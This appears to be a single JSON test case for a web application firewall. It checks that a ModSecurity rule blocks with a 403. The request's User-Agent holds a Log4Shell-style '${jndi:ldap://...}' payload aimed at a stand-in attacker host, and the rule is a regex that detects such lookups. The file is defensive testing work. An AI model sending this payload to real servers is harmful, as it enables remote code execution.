[ { "enabled": 1, "version_min": 300000, "version_max": 0, "title": "Decode HTML entities with padding", "client": { "ip": "200.249.12.31", "port": 2313 }, "server": { "ip": "200.249.12.31", "port": 80 }, "request": { "headers": { "Host": "localhost", "User-Agent": "${jndi:ldap://evil.om/w}", "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Keep-Alive": "300", "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", "Cache-Control": "no-cache" }, "uri": "/", "method": "GET", "http_version": 1.1, "body": "" }, "response": { "headers": { "Content-Type": "text\/xml; charset=utf-8" }, "body": "OK" }, "expected": { "http_code": 403 }, "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@rx (?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)\" \"id:944150,phase:2,deny,t:none,t:urlDecodeUni,t:jsDecode,t:htmlEntityDecode,log\"" ] } ]